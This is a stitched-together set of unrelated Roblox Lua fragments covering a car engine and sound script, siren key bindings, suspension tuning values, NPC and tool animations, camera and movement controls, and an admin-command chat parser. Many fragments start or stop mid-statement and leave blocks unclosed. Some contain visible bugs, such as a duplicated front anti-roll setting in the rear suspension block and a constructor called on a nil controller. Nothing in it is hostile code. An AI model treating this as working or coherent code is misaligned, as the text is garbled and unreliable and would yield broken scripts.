script.FVC.Value+(speed/14)if script.Parent.Functions.Engine.Value == false then ptc = true else ptc = false end if script.Parent.Functions.Ignition.Value == true then if vv == false then vv = true carSeat.Parent.Engine.Startup:Play() end if igtimer > script.Parent.Storage.startuplength.Value then igtimer = 0 script.Parent.Functions.Engine.Value = true carSeat.Parent.Engine.Startup:Stop() ptc = true tlR = 0 script.Parent.Functions.Ignition.Value = false else igtimer = igtimer + 0.035 end else vv = false igtimer = 0 if ptc == true then --wait(0.1) end carSeat.Parent.Engine.Startup:Stop() end clutch = script.Parent.Storage.Clutch engine = script.Parent.Storage.EngineRPM trans = script.Parent.Storage.GearboxRPM rpm = script.Parent.Storage.RPM idle = script.Parent.Storage.EngineIdle redline = script.Parent.Storage.EngineRedline throttle = script.Parent.Storage.Throttle decay = script.Parent.Storage.RPMDecay displacement = script.Parent.Storage.EngineDisplacement hp = script.Parent.Storage.EngineHorsepower torquesplit = carSeat.Storage.TorqueSplit convert = redline.Value/7000 boost = script.Parent.Storage.Boost ind = script.Parent.Storage.InductionType inds = script.Parent.Storage.TurboSize currentgear = script.Parent.Storage.CurrentGear if speed > 15 then stv = wheelrpm else stv = rpm.Value end if wheelrpm > idle.Value/4 then script.Parent.Functions.Stall.Value = false script.Parent.Functions.Engine.Value = true end if stv < idle.Value/4 then if clutch.Value == true and script.Parent.Storage.TransmissionType.Value == "HPattern" and currentgear.Value > 3 then script.Parent.Functions.Engine.Value = false end script.Parent.Functions.Stall.Value = true else --script.Parent.Functions.Engine.Value = true script.Parent.Functions.Stall.Value = false end gear1 = script.Parent.Storage.Gear1 gear2 = script.Parent.Storage.Gear2 gear3 = script.Parent.Storage.Gear3 gear4 = script.Parent.Storage.Gear4 gear5 = script.Parent.Storage.Gear5 gear6 = script.Parent.Storage.Gear6 gear7 = script.Parent.Storage.Gear7 gear8 = script.Parent.Storage.Gear8 final = carSeat.Storage.FinalDrive FL = wheels.FL.Wheel.HingeConstraint FR = wheels.FR.Wheel.HingeConstraint RL = wheels.RL.Wheel.HingeConstraint RR = wheels.RR.Wheel.HingeConstraint carSeat.Wind.Volume = (speed/150)+0 if currentgear.Value == 2 and speed > 2 then carSeat.Parent.Transmission.Reverse.Pitch = (rpm.Value/13000)+0.6 carSeat.Parent.Transmission.Reverse.Volume = (rpm.Value/10000)-0.1 else carSeat.Parent.Transmission.Reverse.Pitch = 0 end tlr.Name = "lp" if script.Parent.Storage.InductionType.Value == "Supercharger" then spool.Pitch = (0.9*(boost.Value/script.Parent.Storage.TurboSize.Value))+0.3 spool.Volume = (script.Parent.Storage.TurboSize.Value/5)*(rpm.Value/13000) else spool.Pitch = (0.6*(boost.Value/script.Parent.Storage.TurboSize.Value))+0.4 spool.Volume = script.Parent.Storage.TurboSize.Value/5 end script.lp.Value = true if script.Parent.Functions.Engine.Value == true then local gear = {gear1.Value, gear1.Value, gear1.Value, gear2.Value, gear3.Value, gear4.Value, gear5.Value, gear6.Value, gear7.Value, gear8.Value, 1} carSeat.Parent.Differential.Engine.Pitch = (rpm.Value/5000)*script.Parent.ePitch.Value carSeat.Parent.Differential.Idle.Pitch = (rpm.Value/5000)*script.Parent.iPitch.Value if script.Parent.Storage.EngineType.Value ~= "Electric" then if rpm.Value < 1000*convert then carSeat.Parent.Differential.Idle.Volume = (rpm.Value/18000)+script.Value.Value+carSeat.Parent.Differential.adjuster.Value-0.4 elseif rpm.Value > 1000*convert and rpm.Value < 4000*convert then carSeat.Parent.Differential.Engine.Volume = ((rpm.Value/18000)+script.Value.Value+carSeat.Parent.Differential.adjuster.Value-0.4)*(((rpm.Value-1000)/2)/1000) carSeat.Parent.Differential.Idle.Volume = ((rpm.Value/18000)+script.Value.Value+carSeat.Parent.Differential.adjuster.Value-0.4)*(1-(((rpm.Value-1000)/2)/1000)) elseif rpm.Value > 4000*convert then carSeat.Parent.Differential.Engine.Volume = ((rpm.Value/18000)+script.Value.Value+carSeat.Parent.Differential.adjuster.Value-0.4) end else carSeat.Parent.Differential.Idle.Volume = (rpm.Value/18000) end if currentgear.Value == 1 then direction = 0 elseif currentgear.Value == 2 then direction = -1 elseif currentgear.Value > 2 then direction = 1 end if engine.Value < idle.Value then engine.Value = idle.Value end autoF = carSeat.Parent.FL.Position.Y + carSeat.Parent.FR.Position.Y autoR = carSeat.Parent.RL.Position.Y + carSeat.Parent.RR.Position.Y if rpm.Value > redline.Value and script.Parent.Storage.EngineType.Value ~= "Electric" or script.Parent.Active.CC.Value == true then throttle.Value = 1 else throttle.Value = TCount end
-- Public Functions
function DisplayManager:StartIntermission(player) if player then DisplayIntermission:FireClient(player, true) else DisplayIntermission:FireAllClients(true) end end function DisplayManager:StopIntermission(player) if player then DisplayIntermission:FireClient(player, false) else DisplayIntermission:FireAllClients(false) end end function DisplayManager:DisplayNotification(teamColor, message) DisplayNotification:FireAllClients(teamColor, message) end function DisplayManager:UpdateTimerInfo(isIntermission, waitingForPlayers) DisplayTimerInfo:FireAllClients(isIntermission, waitingForPlayers) end function DisplayManager:DisplayVictory(winningTeam) DisplayVictory:FireAllClients(winningTeam) end function DisplayManager:UpdateScore(team, score) DisplayScore:FireAllClients(team, score) end return DisplayManager
-- 21/5/2018 -- -- SLAPPING INTENSIFIES --
local npc = script.Parent local hum = npc.Humanoid local speed = npc.Speed local decalp = npc.Head while true do local waittime = 2/speed.Value local oldwalkspeed = hum.WalkSpeed decalp.Beam.Texture = "http://www.roblox.com/asset/?id=1814500416" decalp.Slap:Play() wait(0.4) hum.WalkSpeed = 0 decalp.Beam.Texture = "http://www.roblox.com/asset/?id=1814499405" wait(waittime) hum.WalkSpeed = oldwalkspeed end
-- Public Methods
function DraggerClass:Destroy() self._Maid:Sweep() self.DragChanged = nil self.DragStart = nil self.DragStop = nil self.Element = nil end
------------------------------------------------------------------------ -- stuff
do script.Parent.Equipped:connect(function() if player == nil then player = game.Players:GetPlayerFromCharacter(script.Parent.Parent) end if character == nil or character.Parent == nil then character = script.Parent.Parent humanoid = character.Humanoid isR15 = humanoid.RigType == Enum.HumanoidRigType.R15 rightHand = isR15 and character:WaitForChild("RightHand") or character:WaitForChild("Right Arm") end local getWeld = rightHand:WaitForChild("RightGrip") --motor.C0 = getWeld.C0 --motor.C1 = getWeld.C1 getWeld:Destroy() end) end
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName) while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end return parent[childName] end local Tool = script.Parent local Animations = {} local MyHumanoid local MyCharacter local function PlayAnimation(animationName) if Animations[animationName] then Animations[animationName]:Play() end end local function StopAnimation(animationName) if Animations[animationName] then Animations[animationName]:Stop() end end function OnEquipped(mouse) MyCharacter = Tool.Parent MyHumanoid = WaitForChild(MyCharacter, 'Humanoid') if MyHumanoid then Animations['EquipAnim'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'EquipAnim5')) end PlayAnimation('EquipAnim') end function OnUnequipped() for animName, _ in pairs(Animations) do StopAnimation(animName) end end Tool.Equipped:connect(OnEquipped) Tool.Unequipped:connect(OnUnequipped) WaitForChild(Tool, 'PlaySlash').Changed:connect( function (value) --if value then PlayAnimation('SlashAnim') --else -- StopAnimation('SlashAnim') --end end) WaitForChild(Tool, 'PlayThrust').Changed:connect( function (value) --if value then PlayAnimation('ThrustAnim') --else -- StopAnimation('ThrustAnim') --end end) WaitForChild(Tool, 'PlayOverhead').Changed:connect( function (value) --if value then PlayAnimation('OverheadAnim') --else -- StopAnimation('OverheadAnim') --end end)
-- Seconds before player spawns after death:
SpawnDelayTime = 3 -- ROBLOX default is 5 -- Set to 0 for instant-spawn OnDeath_Callback = function(player) -- Optional function for anyone who wants some sort of code to run when the player dies and before they spawn print(player.Name .. " died. Awaiting respawn.") end
----------------------- --| Local Functions |-- -----------------------
local math_abs = math.abs local function OnCameraSubjectChanged() VehicleParts = {} local newSubject = Camera.CameraSubject if newSubject then -- Determine if we should be popping at all PopperEnabled = false for _, subjectType in pairs(VALID_SUBJECTS) do if newSubject:IsA(subjectType) then PopperEnabled = true break end end -- Get all parts of the vehicle the player is controlling if newSubject:IsA('VehicleSeat') then VehicleParts = newSubject:GetConnectedParts(true) end if FFlagUserPortraitPopperFix then if newSubject:IsA("BasePart") then SubjectPart = newSubject elseif newSubject:IsA("Model") then SubjectPart = newSubject.PrimaryPart elseif newSubject:IsA("Humanoid") then SubjectPart = newSubject.Torso end end end end local function OnCharacterAdded(player, character) PlayerCharacters[player] = character end local function OnPlayersChildAdded(child) if child:IsA('Player') then child.CharacterAdded:connect(function(character) OnCharacterAdded(child, character) end) if child.Character then OnCharacterAdded(child, child.Character) end end end local function OnPlayersChildRemoved(child) if child:IsA('Player') then PlayerCharacters[child] = nil end end local function OnWorkspaceChanged(property) if property == 'CurrentCamera' then local newCamera = workspace.CurrentCamera if newCamera then Camera = newCamera if CameraSubjectChangeConn then CameraSubjectChangeConn:disconnect() end CameraSubjectChangeConn = Camera:GetPropertyChangedSignal("CameraSubject"):connect(OnCameraSubjectChanged) OnCameraSubjectChanged() end end end
-- this controls the animations that happen when you click the button.
--// # key, ManOn
mouse.KeyDown:connect(function(key) if key=="f" then veh.Lightbar.middle.Man:Play() veh.Lightbar.middle.Wail.Volume = 2 veh.Lightbar.middle.Yelp.Volume = 2 veh.Lightbar.middle.Priority.Volume = 2 script.Parent.Parent.Sirens.Man.BackgroundColor3 = Color3.fromRGB(215, 135, 110) veh.Lightbar.MANUAL.Transparency = 0 end end)
--[=[ @param value T @return Option<T> | Option<None> Safely wraps the given value as an option. If the value is `nil`, returns `Option.None`, otherwise returns `Option.Some(value)`. ]=]
function Option.Wrap(value) if value == nil then return Option.None else return Option.Some(value) end end
-- Do not require this module directly! Use normal `invariant` calls with -- template literal strings. The messages will be replaced with error codes -- during build.
local HttpService = game:GetService("HttpService") local function formatProdErrorMessage(code, ...) local url = "https://reactjs.org/docs/error-decoder.html?invariant=" .. tostring(code) local argsLength = select("#", ...) for i = 1, argsLength, 1 do -- deviation: UrlEncode should be equivalent to encodeURIComponent url = url .. "&args[]=" .. HttpService:UrlEncode(select(i, ...)) end return string.format( "Minified React error #%d; visit %s for the full message or " .. "use the non-minified dev environment for full errors and additional " .. "helpful warnings.", code, url ) end return formatProdErrorMessage
---Removing old core handler with new one
script.PlayerStatManager.Parent = script.Parent local coreHandler = script.Parent:WaitForChild("Core_Handler") coreHandler:Destroy() local coreHandlerNew = script:WaitForChild("Core_Handler_New") local coreHandlerNewClone = coreHandlerNew:Clone() coreHandlerNewClone.Parent = script.Parent coreHandlerNewClone.Disabled = false
-- if seat == nil then -- cnt:disconnect() -- --print(('no seat') -- return -- end
currentframe = currentframe + 1 local steer = seat.Steer local throttle = seat.Throttle local ocu = seat.Occupant if ocu ~= nil and ocu.Health > 0 and ocu == game.Players.LocalPlayer.Character.Humanoid then if controls.looped ~= nil then controls:looped() end if tick() - pretick >= runTime then pretick = tick() else return end if throttle == 1 then controls:Foward() elseif throttle == -1 then controls:Backward() else controls:Idle() end if steer == 1 then controls:RightTurn() elseif steer == -1 then controls:LeftTurn() else controls:NormalWheel() end --if seat.Parent.m.BodyVelocity.Velocity.magnitude <= .001 then -- local c = script.Parent.Parent:GetDescendants() -- for i = 1,#c do -- if c[i]:IsA("BasePart") then -- c[i].Velocity = Vector3.new() -- c[i].RotVelocity = Vector3.new() -- end -- end --end else if controls ~= nil and controls.End ~= nil then if controls.Anims then for i = 1,#controls.Anims do controls.Anims[i]:Stop() end end controls:End() cnt:Disconnect() cnt = nil else cnt:Disconnect() cnt = nil end end end)
--
script.Parent.PickLock.MouseButton1Click:Connect(function() House.DoAction:InvokeServer('Pick') end)
--//INSPARE//-- --//WavyGTR//--
local player = game.Players.LocalPlayer local lightOn = false
-- Choose current Touch control module based on settings (user, dev) -- Returns module (possibly nil) and success code to differentiate returning nil due to error vs Scriptable
function ControlModule:SelectTouchModule() if not UserInputService.TouchEnabled then return nil, false end local touchModule = nil local DevMovementMode = Players.LocalPlayer.DevTouchMovementMode if DevMovementMode == Enum.DevTouchMovementMode.UserChoice then touchModule = movementEnumToModuleMap[UserGameSettings.TouchMovementMode] elseif DevMovementMode == Enum.DevTouchMovementMode.Scriptable then return nil, true else touchModule = movementEnumToModuleMap[DevMovementMode] end return touchModule, true end local function calculateRawMoveVector(humanoid, cameraRelativeMoveVector) local camera = Workspace.CurrentCamera if not camera then return cameraRelativeMoveVector end if humanoid:GetState() == Enum.HumanoidStateType.Swimming then return camera.CFrame:VectorToWorldSpace(cameraRelativeMoveVector) end local c, s local _, _, _, R00, R01, R02, _, _, R12, _, _, R22 = camera.CFrame:GetComponents() if R12 < 1 and R12 > -1 then -- X and Z components from back vector. c = R22 s = R02 else -- In this case the camera is looking straight up or straight down. -- Use X components from right and up vectors. c = R00 s = -R01*math.sign(R12) end local norm = math.sqrt(c*c + s*s) return Vector3.new( (c*cameraRelativeMoveVector.x + s*cameraRelativeMoveVector.z)/norm, 0, (c*cameraRelativeMoveVector.z - s*cameraRelativeMoveVector.x)/norm ) end function ControlModule:OnRenderStepped(dt) if self.activeController and self.activeController.enabled and self.humanoid then -- Give the controller a chance to adjust its state self.activeController:OnRenderStepped(dt) -- Now retrieve info from the controller local moveVector = self.activeController:GetMoveVector() local cameraRelative = self.activeController:IsMoveVectorCameraRelative() local clickToMoveController = self:GetClickToMoveController() if self.activeController ~= clickToMoveController then if moveVector.magnitude > 0 then -- Clean up any developer started MoveTo path clickToMoveController:CleanupPath() else -- Get move vector for developer started MoveTo clickToMoveController:OnRenderStepped(dt) moveVector = clickToMoveController:GetMoveVector() cameraRelative = clickToMoveController:IsMoveVectorCameraRelative() end end -- Are we driving a vehicle ? local vehicleConsumedInput = false if self.vehicleController then moveVector, vehicleConsumedInput = self.vehicleController:Update(moveVector, cameraRelative, self.activeControlModule==Gamepad) end -- If not, move the player -- Verification of vehicleConsumedInput is commented out to preserve legacy behavior, in case some game relies on Humanoid.MoveDirection still being set while in a VehicleSeat --if not vehicleConsumedInput then if FFlagUserFixMovementCameraStraightDown then if cameraRelative then moveVector = calculateRawMoveVector(self.humanoid, moveVector) end self.moveFunction(Players.LocalPlayer, moveVector, false) else self.moveFunction(Players.LocalPlayer, moveVector, cameraRelative) end --end -- And make them jump if needed self.humanoid.Jump = self.activeController:GetIsJumping() or (self.touchJumpController and self.touchJumpController:GetIsJumping()) end end function ControlModule:OnHumanoidSeated(active, currentSeatPart) if active then if currentSeatPart and currentSeatPart:IsA("VehicleSeat") then if not self.vehicleController then self.vehicleController = self.vehicleController.new(CONTROL_ACTION_PRIORITY) end self.vehicleController:Enable(true, currentSeatPart) end else if self.vehicleController then self.vehicleController:Enable(false, currentSeatPart) end end end function ControlModule:OnCharacterAdded(char) self.humanoid = char:FindFirstChildOfClass("Humanoid") while not self.humanoid do char.ChildAdded:wait() self.humanoid = char:FindFirstChildOfClass("Humanoid") end if self.touchGui then self.touchGui.Enabled = true end if self.humanoidSeatedConn then self.humanoidSeatedConn:Disconnect() self.humanoidSeatedConn = nil end self.humanoidSeatedConn = self.humanoid.Seated:Connect(function(active, currentSeatPart) self:OnHumanoidSeated(active, currentSeatPart) end) end function ControlModule:OnCharacterRemoving(char) self.humanoid = nil if self.touchGui then self.touchGui.Enabled = false end end
--[[Susupension]]
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled --Front Suspension Tune.FSusDamping = 500 -- Spring Dampening Tune.FSusStiffness = 9000 -- Spring Force Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.FSusLength = 2 -- Suspension length (in studs) Tune.FPreCompress = .42 -- Pre-compression adds resting length force Tune.FExtensionLim = .42 -- Max Extension Travel (in studs) Tune.FCompressLim = .42 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 4 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 500 -- Spring Dampening Tune.RSusStiffness = 9000 -- Spring Force Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.RSusLength = 2 -- Suspension length (in studs) Tune.RPreCompress = .42 -- Pre-compression adds resting length force Tune.RExtensionLim = .42 -- Max Extension Travel (in studs) Tune.RCompressLim = .42 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 4 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = false -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Really black" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
--// H key, Man
mouse.KeyUp:connect(function(key) if key=="h" then veh.Lightbar.middle.Manual:Stop() veh.Lightbar.middle.Wail.Volume = 1 veh.Lightbar.middle.Yelp.Volume = 1 veh.Lightbar.middle.Priority.Volume = 1 end end) mouse.KeyDown:connect(function(key) if key=="j" then veh.Lightbar.middle.Beep:Play() veh.Lightbar.RemoteEvent:FireServer(true) end end)
-- b1.BrickColor = BrickColor.new("Crimson") -- b1.Material = Enum.Material.SmoothPlastic
end if ((not right) and (not hazards) and (not brake)) then b2.BrickColor = BrickColor.new("Crimson") b2.Material = Enum.Material.SmoothPlastic else
-- CONSTANTS
local GuiLib = script.Parent.Parent local Lazy = require(GuiLib:WaitForChild("LazyLoader"))
--print("QuickScan Complete")
if fullscan then wait(5) ScanForViruses(game,0,false) end
--variables
local tiles = script.Parent:GetChildren() --tiles/items inside of the model local tilesize = 6 --diameter of the circle (width)
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false} function configureAnimationSet(name, fileList) if (animTable[name] ~= nil) then for _, connection in pairs(animTable[name].connections) do connection:Disconnect() end end animTable[name] = {} animTable[name].count = 0 animTable[name].totalWeight = 0 animTable[name].connections = {} -- check for config values local config = script:FindFirstChild(name) if (config ~= nil) then
--Person299
speed = 80 humanoid = script.Parent.Parent.Parent.Character.Humanoid script.Parent.Selected:connect(function(m) humanoid.WalkSpeed = speed end) script.Parent.Deselected:connect(function() humanoid.WalkSpeed = 16 end)
--[[ Generic destroy function ]]
function ClientAvatarComponent:destroy() end return ClientAvatarComponent
--Functions
game.Players.PlayerAdded:Connect(function(player) player.CharacterAdded:Connect(function(char) --Varibles local head = char.Head local newtext = nametag:Clone() --Cloning the text. local uppertext = newtext.UpperText local humanoid = char.Humanoid humanoid.DisplayDistanceType = "None" --Main Text newtext.Parent = head newtext.Adornee = head uppertext.Text = player.Name --Changes the text to the player's name. end) end)
-- << FUNCTIONS >>
function module:ParseMessage(speaker, originalMessage, directlyFromChat, extraDetails) local success = false if directlyFromChat then coroutine.wrap(function() table.insert(main.logs.chat, {speakerName = speaker.Name, timeAdded = os.time(), message = main:GetModule("cf"):FilterBroadcast(originalMessage, speaker)}) end)() end local message = string.lower(originalMessage) --Silent commands if string.sub(message,1,3) == "/e " then message = string.sub(message,4) end --Check if first character is a valid prefix local speakerData = main.pd[speaker] if not checkPrefix(string.sub(message,1,1), speakerData) then main.signals.PlayerChattedIgnoreCommands:Fire(speaker, originalMessage) else --Convert message into batches local batches = {} local batchStarts = {1} local batchKeyLength = #settings.BatchKey if batchKeyLength < 1 then batchKeyLength = 1 end for i = 1, #message do local character = string.sub(message,i,i) if i > 2 and checkPrefix(character, speakerData) then local batchCharacter = string.sub(message, i-1-batchKeyLength, i-2) if settings.BatchKey == "" or batchCharacter then table.insert(batchStarts, i) end end end for i, bStart in pairs(batchStarts) do local bEnd = batchStarts[i+1] if bEnd then if settings.BatchKey == "" then bEnd = bEnd - 2 else bEnd = bEnd - 3 - #settings.BatchKey end else bEnd = #message end local batch = string.sub(message, bStart, bEnd) table.insert(batches, batch) end --Check and execute each batch for batchPos, msg in pairs(batches) do wait() --Split message into commandName and arguments local args = {} msg:gsub('([^'..settings.SplitKey..']+)',function(c) args[#args+1] = string.lower(c) end); local commandPrefix, commandName = string.sub(args[1],1,1), string.sub(args[1],2) table.remove(args,1) --Loop commands local loops = 1 local finalArg = tonumber(args[#args]) if string.sub(commandName,1,4) == "loop" then commandName = string.sub(commandName,5) if finalArg then loops = finalArg end if loops > 100 or not finalArg then loops = 100 end end -- Check if alias and convert to commandName local originalAlias local commandNameFromAlias = main.infoOnAllCommands["Aliases"][commandName] if commandNameFromAlias then originalAlias = commandName commandName = string.lower(commandNameFromAlias) end --Check if UnFunction local unFunction = false if string.sub(commandName,1,2) == "un" then local unCommandName = string.sub(commandName,3) local unCommandNameFromAlias = main.infoOnAllCommands["Aliases"][unCommandName] if unCommandNameFromAlias then originalAlias = unCommandName unCommandName = string.lower(unCommandNameFromAlias) end local unCommand = main.commands[unCommandName] if unCommand and (type(unCommand.UnFunction) == "function" or unCommand.ClientCommand or unCommand.ClientCommandToActivate) then unFunction = true commandName = unCommandName loops = 1 end end local errorNotice local command = main.commands[commandName] if not command then if main:GetModule("cf"):CheckRankExists(commandName) then errorNotice = main:GetModule("cf"):FormatNotice("ParserInvalidCommandRank", commandName, settings.Prefix, commandName) elseif #commandName > 3 then errorNotice = main:GetModule("cf"):FormatNotice("ParserInvalidCommandNormal", commandName) end else if not command.Loopable and loops > 1 then loops = 1 end --Setup debounces local commandDebounceName = commandName if command.OriginalName then commandDebounceName = command.OriginalName end if main.functionsInLoop[commandDebounceName] == nil then main.functionsInLoop[commandDebounceName] = {} end --Check if using right prefix for the command local tryPrefix = speakerData.Prefix local tryName = commandName if command.Prefixes[1] == main.settings.UniversalPrefix then tryPrefix = main.settings.UniversalPrefix end if commandPrefix ~= speakerData.Prefix and commandPrefix ~= main.settings.UniversalPrefix then if originalAlias then tryName = originalAlias end errorNotice = main:GetModule("cf"):FormatNotice("ParserInvalidPrefix", tryPrefix, tryName) --Check if VIPServer and using permRank elseif game.VIPServerOwnerId ~= 0 and main:GetModule("cf"):FindValue(settings.VIPServerCommandBlacklist, command.Name) then errorNotice = main:GetModule("cf"):FormatNotice("ParserInvalidVipServer", command.Name) --Check if Donor command and Speaker has Donor OR rank >= 4 elseif command.Rank == "Donor" and (not speakerData.Donor or (commandPrefix ~= main.settings.UniversalPrefix and speakerData.Rank < 4)) then errorNotice = main:GetModule("cf"):FormatNotice("ParserInvalidDonor") main.signals.ShowPage:FireClient(speaker, {"Special", "Donor"}) --Check if Loop command and Speaker has permission to use elseif loops > 1 and speakerData.Rank < settings.LoopCommands then errorNotice = main:GetModule("cf"):FormatNotice("ParserInvalidLoop") --Check if speaker has permission to use command elseif command.Rank ~= "Donor" and speakerData.Rank < command.Rank then errorNotice = main:GetModule("cf"):FormatNotice("ParserInvalidRank", commandName) --Check for command block elseif not unFunction and main.commandBlocks[speaker] then errorNotice = main:GetModule("cf"):FormatNotice("ParserCommandBlock") --Command limit elseif main.commandsExecuted[speaker] and main.commandsExecuted[speaker] >= main.settings.CommandLimitPerMinute/main.commandsExecutedDivider and speakerData.Rank < main.settings.IgnoreCommandLimitPerMinute then errorNotice = main:GetModule("cf"):FormatNotice("CommandLimitPerMinute") main.signals.Error:FireClient(speaker, errorNotice) return else main.commandsExecuted[speaker] = main.commandsExecuted[speaker] or 0 main.commandsExecuted[speaker] = main.commandsExecuted[speaker] + 1 --Record in logs coroutine.wrap(function() local messageToRecord = commandName--msg if loops > 1 then messageToRecord = "loop"..messageToRecord end if unFunction then messageToRecord = "un"..messageToRecord end messageToRecord = tryPrefix..messageToRecord local restOfMessage = string.sub(msg, #messageToRecord+1) restOfMessage = main:GetModule("cf"):FilterBroadcast(restOfMessage, speaker) messageToRecord = messageToRecord.. restOfMessage table.insert(main.logs.command, {speakerName = speaker.Name, timeAdded = os.time(), message = messageToRecord}) end)() --Process arguments (e.g. rank, color, text, etc) local commandArgs = command.Args local originalArgs = args local forceExit originalAlias = originalAlias or commandName args, forceExit = main:GetModule("Arguments"):Process(commandArgs, args, commandPrefix, command.Name, speaker, speakerData, originalMessage, originalAlias, batches, batchPos) if forceExit then return end --Decide how to execute the command (and on which plrs if applicable) if commandArgs[1] == "player" and (commandName ~= "directban" or not unFunction) then local targetPlayers = main:GetModule("Qualifiers"):GetTargetPlayers(speaker, args, originalArgs, commandPrefix, command.Prefixes, commandName) if command.Teleport then local individual if commandName == "bring" then individual = speaker else individual = main:GetModule("Qualifiers"):GetTargetPlayers(speaker, {args[1]}, originalArgs, commandPrefix, command.Prefixes, commandName, true) end local targetPlayersTable = {} for plr, _ in pairs(targetPlayers) do if plr ~= individual then table.insert(targetPlayersTable, plr) end end command.Function(speaker, {targetPlayersTable, individual}) success = true else local plrChangeInfo = { Ranked = {}; Unranked = {}; } local totalPlrs = 0 for plr, _ in pairs(targetPlayers) do totalPlrs = totalPlrs + 1 end local plrsRemaining = 0 for plr, _ in pairs(targetPlayers) do --Check Rig local humanoid = main:GetModule("cf"):GetHumanoid(plr) local rr = command.RequiresRig if humanoid and rr and humanoid.RigType ~= rr then local rrName = "R15" if rr == Enum.HumanoidRigType.R6 then rrName = "R6" end errorNotice = main:GetModule("cf"):FormatNotice("ParserInvalidRigType", plr.Name, rrName) --Check if punished elseif command.BlockWhenPunished and main:GetModule("cf"):IsPunished(plr) then errorNotice = main:GetModule("cf"):FormatNotice("ParserPlrPunished", plr.Name) else local plrData = main.pd[plr] -- Check for RankLock. If so, is plr's rank greater than speaker's? if not command.RankLock or (plrData and speakerData.Rank > plrData.Rank) then --Only the run command if not already running (and commandDebounce enabled) if not commandDebounce or not main.functionsInLoop[commandDebounceName][plr] then --Add in 'plr' argument to args local plrArgs = {plr} for i,v in pairs(args) do table.insert(plrArgs, v) end coroutine.wrap(function() main.functionsInLoop[commandDebounceName][plr] = 0 plrsRemaining = plrsRemaining + 1 for i = 1, loops do ------------------------------------ local other = {ExtraDetails = extraDetails, UnFunction = unFunction} local returnInfo = main:GetModule("cf"):ExecuteCommand(speaker, plrArgs, command, other) success = true ------------------------------------ if returnInfo == "Ranked" or returnInfo == "Unranked" then table.insert(plrChangeInfo[returnInfo], plr) end wait(0.1) local humanoid = main:GetModule("cf"):GetHumanoid(plr) if humanoid and humanoid.Health < 1 then plr.CharacterAdded:Wait() wait(0.1) end if plr == nil or not main.functionsInLoop[commandDebounceName][plr] then break end end plrsRemaining = plrsRemaining - 1 main.functionsInLoop[commandDebounceName][plr] = nil end)() end elseif totalPlrs <= 1 then if commandName == "directban" then commandName = "ban" end main:GetModule("cf"):FormatAndFireError(speaker, "ParserPlayerRankBlocked", commandName, plr.Name) end end end spawn(function() repeat wait(0.1) until plrsRemaining == 0 if #plrChangeInfo.Ranked > 0 then local targetRankName = main:GetModule("cf"):GetRankName(args[1]) local amount = "1 person" if #plrChangeInfo.Ranked > 1 then amount = #plrChangeInfo.Ranked.." people" end local notice = main:GetModule("cf"):FormatNotice("ParserSpeakerRank", command.Name, amount, targetRankName) main.signals.Notice:FireClient(speaker, notice) end if #plrChangeInfo.Unranked > 0 then local amount = "1 person." if #plrChangeInfo.Unranked > 1 then amount = #plrChangeInfo.Unranked.." people." end local notice = main:GetModule("cf"):FormatNotice("ParserSpeakerUnrank", amount) end --main.playersRanked[speaker] = nil --main.playersUnranked[speaker] = nil end) end elseif not main.functionsInLoop[commandDebounceName][speaker] or unFunction then main.functionsInLoop[commandDebounceName][speaker] = true ------------------------------- local other = {ExtraDetails = extraDetails, UnFunction = unFunction} local returnInfo = main:GetModule("cf"):ExecuteCommand(speaker, args, command, other) success = true ------------------------------- main.functionsInLoop[commandDebounceName][speaker] = nil end end end --Speaker error message if errorNotice then main.signals.Error:FireClient(speaker, errorNotice) end end end return success end return module
--------LEFT DOOR --------
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(1) game.Workspace.doorleft.l22.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l23.BrickColor = BrickColor.new(1) game.Workspace.doorleft.l51.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l52.BrickColor = BrickColor.new(1) game.Workspace.doorleft.l53.BrickColor = BrickColor.new(21)
-- ROBLOX FIXME: Can we define ClientChatModules statically in the project config
pcall(function() ChatLocalization = require((game:GetService("Chat") :: any).ClientChatModules.ChatLocalization :: any) end) if ChatLocalization == nil then ChatLocalization = {} function ChatLocalization:Get(key,default) return default end end
